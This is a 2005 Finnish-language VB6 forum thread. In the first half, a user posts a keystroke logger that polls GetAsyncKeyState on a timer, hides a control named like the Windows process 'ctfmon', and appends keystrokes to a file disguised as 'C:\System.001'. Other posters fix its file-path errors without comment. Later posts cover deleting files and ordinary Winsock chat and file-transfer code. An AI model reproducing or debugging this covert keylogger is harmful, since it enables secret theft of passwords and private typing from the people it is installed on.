Kirjautuminen

Haku

Tehtävät

Keskustelu: Ohjelmointikysymykset: VB6: Mitä vikaa

Sivun loppuun

Kulma [27.10.2005 17:56:52]

#

Mitä vikaa näissä on?

Private Sub load()
ff = FreeFile
fname = "\Log.001"
Open fname For Input As #ff
    texte.Text = Input(LOF(ff), #ff)
Close #ff
End Sub

VB6 valittaa kohtaa "Open fname For Input As #ff".

Sub Savettaa()
    Open App.Path & "C:\system.001" For Append As #1
        Print #1, Sana
    Close #1
    Merkki = 1
    Sana = ""
End Sub

VB6 valittaa kohtaa Open App.Path & "C:\system.001" For Append As #1.

setä [27.10.2005 18:40:58]

#

Vaihda tuo App.Path edelliseen subiin. Edellisestä se puuttuu ja jälkimmäisessä se on liikaa.

Kulma [27.10.2005 18:52:07]

#

setä kirjoitti:

Vaihda tuo App.Path edelliseen subiin. Edellisestä se puuttuu ja jälkimmäisessä se on liikaa.

Mitenkä?
Tässä on ton formin koodi:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim Merkki As Integer
Dim Sana As String


Private Sub Form_Load()
Timer1.Interval = 90
ctfmon.Visible = False
Timer1.Enabled = True
Sana = ""
Merkki = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
Savettaa 'jos lopetetaan yllättäen tallentaa
End Sub

Private Sub Timer1_Timer()

    For kk = 65 To 90 'käydään läpi isot kirjaimet
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    For kk = 97 To 122 'käydään läpi pienet kirjaimet
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    For kk = 47 To 58 'käydään läpi numerot
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    If GetAsyncKeyState(32) Then pk = 32: GoTo uush 'space

    If GetAsyncKeyState(221) Then pk = 229: GoTo uush 'ä ei välttämättä
    If GetAsyncKeyState(222) Then pk = 228: GoTo uush 'ö tässä
    If GetAsyncKeyState(192) Then pk = 246: GoTo uush 'å järjestyksessä

    Exit Sub
uush:

    Sana = Sana & Chr(pk) 'lisätään sanaan merkki
    Merkki = Merkki + 1 'lisätään merkkilaskuriin 1
    If Merkki >= 1 Then Savettaa 'jos 50 kirjainta kirjoitettu savettaa
    'kannattaa muuttaa omien tarpeiden mukaan (50 merkkiä)

End Sub

Sub Savettaa()
    Open App.Path & "C:\System.001" For Append As #1
        Print #1, Sana
    Close #1
    Merkki = 1
    Sana = ""
End Sub

Juice [27.10.2005 19:33:03]

#

Näin (en ole varma, onko vb6:n app.pathin lopussa kenoviivaa; jos on, poista se Log.001:n edeltä):

Private Sub load()
ff = FreeFile
fname = App.Path & "\Log.001"
Open fname For Input As #ff
    texte.Text = Input(LOF(ff), #ff)
Close #ff
End Sub

Sub Savettaa()
    Open "C:\System.001" For Append As #1
        Print #1, Sana
    Close #1
    Merkki = 1
    Sana = ""
End Sub

Kulma [27.10.2005 19:36:53]

#

Miten saan että ohjelma poistaa jonkun tiedoston?

hunajavohveli [27.10.2005 19:38:28]

#

https://www.ohjelmointiputka.net/hak/?kieli­=Visual Basic&alue=Tiedostot
Tuolta löytyy tiedostonkäsittelyssä tarvittavat funktiot ja käskyt.
Edit: Ja sieltä vielä tarkemmin https://www.ohjelmointiputka.net/hak/?kieli­=Visual Basic&nimi=Kill

Metabolix [27.10.2005 19:38:55]

#

Luepa niitä oppaita ja kielihakemistoa. Kill taitaa olla komennon nimi, jos en väärin muista.

Kulma [30.10.2005 12:04:41]

#

Mä oon tekemässä keskusteluohjelmaa. Miten saisin tehtyä tiedostojen lähettämis - jutun siihen? Että voisin lähettää kaverille jonkun tiedoston niinkuin mesessä.

hunajavohveli [30.10.2005 12:25:40]

#

Winsock auttaa. Googleta tai etsi putkan hausta kyseisellä sanalla.

Meitsi [30.10.2005 12:28:17]

#

...Ja kannattaa suunnitella sitten tiedostojen lähetys hyvin ettei ohjelmasi saa virustentartuttajan mainetta jos on joku bugi jonka takia ohjelmatiedostot aukeavatkin suoraan... :)

Kulma [30.10.2005 14:33:45]

#

Mitä vikaa?
VB6 Valittaa kohtaa "New Scripting.FileSystemObject", kun yritän tehdä .exeä.

KOODI:

Option Explicit
Private Declare Function GetTickCount Lib "kernel32" () As Long
Private FileData As String
Private Fsize As Double

Sub Pause(HowLong As Long)
    Dim u%, tick As Long
    tick = GetTickCount()

    Do
      u% = DoEvents
    Loop Until tick + HowLong < GetTickCount
End Sub

Public Sub Command1_Click()
CommonDialog1.Filename = ""
CommonDialog1.ShowOpen
If Not CommonDialog1.Filename = "" Then Text344.Text = CommonDialog1.Filename

End Sub

Public Sub Command2_Click()
If Text344.Text = "" Then Exit Sub
Me.SendFile Text344.Text
End Sub



Private Sub tcpsocket_Connect()
Text2.Caption = "Connected"
Pause 1000
Text2.Caption = ""
End Sub


Private Sub tcpsocket_ConnectionRequest(ByVal requestID As Long)
tcpsocket.Close
tcpsocket.Accept requestID

Text2.Caption = "Connected"
Pause 1000
Text2.Caption = ""

End Sub

Private Sub tcpsocket_DataArrival(ByVal bytesTotal As Long)
Dim str As String
tcpsocket.GetData str

Dim data As String, command As String

command = Left(str, 5)
data = Right(str, Len(str) - 5)

Select Case command

Case "chat "
Text1.Text = Text1.Text + vbNewLine + data

Case "data "
FileData = FileData & data
Text2.Caption = "File Recieving " & Len(FileData)
Bar1.Value = Bar1.Value + Len(data)

Case "save "
Save App.Path & "\" & data
Text2.Caption = ""
Text1.Text = Text1.Text + vbNewLine + "File Recieved"
Bar1.Value = 0

Case "size "
Fsize = data
Bar1.Min = 0
Bar1.Max = Fsize
Bar1.Value = 0

End Select
End Sub


Function SendFile(Fname As String)
On Error Resume Next

If tcpsocket.State <> sckConnected Then Exit Function

Dim Filename As String, DataChunk As String
DataChunk = Empty

Dim Fsys As New Scripting.FileSystemObject
Filename = Fsys.GetFile(Fname).Name
Dim size As Double
size = 0
Bar1.Min = 0
Bar1.Max = Fsys.GetFile(Fname).size
Bar1.Value = 0
tcpsocket.SendData "size " & Fsys.GetFile(Fname).size
Pause 200

Open Fname For Binary As #1
Do While Not EOF(1)
DataChunk = Input(5120, #1)
tcpsocket.SendData "data " & DataChunk
Bar1.Value = Bar1.Value + Len(DataChunk)
size = size + Len(DataChunk)
Text2.Caption = "File Sending " & size
Pause 200
DoEvents
Loop
Close #1

tcpsocket.SendData "save " & Filename
Text1.Text = Text1.Text + vbNewLine + "File Send"
Text2.Caption = ""
Bar1.Value = 0
End Function


Function Save(Fname As String)
Open Fname For Binary As #1
Put #1, , FileData
Close #1

FileData = Empty
End Function

Megant [30.10.2005 14:36:04]

#

Sisennykset?
Ne auttaisivat tuon ymmärtävmistä.


Sivun alkuun

Vastaus

Aihe on jo aika vanha, joten et voi enää vastata siihen.

Tietoa sivustosta